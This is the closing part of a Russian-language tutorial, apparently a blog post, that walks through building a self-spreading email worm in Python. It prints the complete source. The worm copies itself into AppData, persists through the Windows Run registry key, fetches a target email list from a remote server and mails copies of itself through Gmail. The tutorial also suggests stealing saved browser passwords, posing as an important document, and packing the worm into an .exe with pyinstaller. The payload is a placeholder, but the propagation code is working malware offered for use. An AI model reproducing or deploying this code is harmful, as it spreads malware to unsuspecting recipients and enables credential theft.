В качестве почты, с которой червь будет производить рассылку, используется почта gmail. Сразу надо отметить, что в настройках аккаунта gogle надо открыть доступ к почте из ненадежных источников, иначе защита gmail не даст нам залогиниться и отправлять сообщения.
Вот и все, ребята, как говорится. Склеим нашего монстра Франкенштейна и проверим его работоспособность.
Код червя целиком:
#!/usr/bin/env python # -*- coding: utf-8 -*- import os, sys import shutil import requests from winreg import OpenKey, SetValueEx, CloseKey, HKEY_CURRENT_USER, KEY_ALL_ACCESS, REG_SZ import smtplib from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from email.mime.application import MIMEApplication def main(): # Создаем клона dir = os.getenv("APPDATA") + r'/worm/' # Вместо worm можно подставить любое название программы path = dir + os.path.basename(__file__) #тут будет копия программы, она же будет запускаться в дальнейшем if not os.path.exists(dir): os.makedirs(dir) shutil.copy(__file__, path) # прописываем в автозапуск, через реестр reestr_path = OpenKey(HKEY_CURRENT_USER, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 0, KEY_ALL_ACCESS) SetValueEx(reestr_path, 'worm', 0, REG_SZ, path) CloseKey(reestr_path) # Тригирим канарейку requests.get('http://canarytokens.com/feedback/01oohhr7cpup3uf0x44m0vol2/index.html') # получчаем инструкции с сервера (в случае этой программы - получаем список почт, для рассылки) instructions = requests.get('http://192.168.3.111/instruction.txt', stream=True) # получения файла с данными с сервера with open('instruction.txt', 'wb') as f: shutil.copyfileobj(instructions.raw, f) # на всякий случай сохраняем инструкции Execute() # выполняем зловредные действия SendMail(path) # начинаем процесс самовоспроизведения и распространения def Execute(): """Функция для выполненя зловредных действий""" with open('README.txt', 'w', encoding='utf-8') as f: f.write('Belligerent worm in action') def SendMail(path): """Создание письма, с вложением в него программы и отправка на мыла пользователей, в списке из инструкции""" # подготовка данных писма with open('instruction.txt', 'r') as f: for mail in f: if mail != None: FROM = "forwormpost@gmail.com" TO = mail msg = MIMEMultipart() msg['From'] = FROM msg['To'] = TO msg['Subject'] = 'worm' # вложение файла with open(path, 'rb') as f: part = MIMEApplication(f.read(), Name=os.path.basename(path)) part['Content-Discription'] = 'attachment; filename="%s"' % os.path.basename(path) msg.attach(part) # Отправка письма smtpOBJ = smtplib.SMTP("smtp.gmail.com", 587) smtpOBJ.starttls() smtpOBJ.login(FROM, 'пароль от почты') smtpOBJ.sendmail(FROM, TO, msg.as_string()) smtpOBJ.quit() if __name__ == "__main__": main()
Запускаем и проверяем:
Червь отработал, посмотрим, что же произошло:
В папке "AppData/Roaming" появился каталог "worm" с копией нашего червя.
До:
Появилась запись в реестре. Теперь при каждом запуске устройства, червь будет пытаться размножиться и выполнить то, для чего предназначался.
До:
Подключение к серверу прошло успешно, в каталоге, из которого производился запуск червя появился файл с инструкциями (стянутый с сервера) и README.txt (свидетельствующий об успешном выполнении функции Execute()):
Пришло сообщение о триггере канарейки
В "отправленных" появилось отправленное червем письмо:
В почтовом ящике эфемерной "жертвы" появилось письмо с вложенным червем:
Вложение скачивается без особых проблем и при запуске пользователем, червь будет активно выполнять заложенные в него функции, тем самым распространяясь все больше и больше.
P.S. Реальный такой червь, вместо получения списка email'ов с сервера мог бы вытягивать с устройства жертвы пароль от почты (если он сохранен, а многие такие вещи сохраняют в каких-нибудь, встроенных в браузер, парольных менеджерах), брать несколько последних адресов с которыми "жертва" вела переписку и отправлять свои копии им, притворяясь при этом каким-нибудь важным документом, кончено.
Ну и на последок, можно скомпилировать нашего червя в .exe файл при помощи pyinstaller и команды:
pyinstaller --onefile --icon='иконка приложения.ico' 'название программы'
На этом - статья заканчивается, спасибо всем, кто нашел в себе силы дочитать до конца. Надеюсь, что такой вид вирусов, как "сетевые черви" были тут понятно разобраны и хоть кто-то нашел для себя что-то новое, или просто интереное.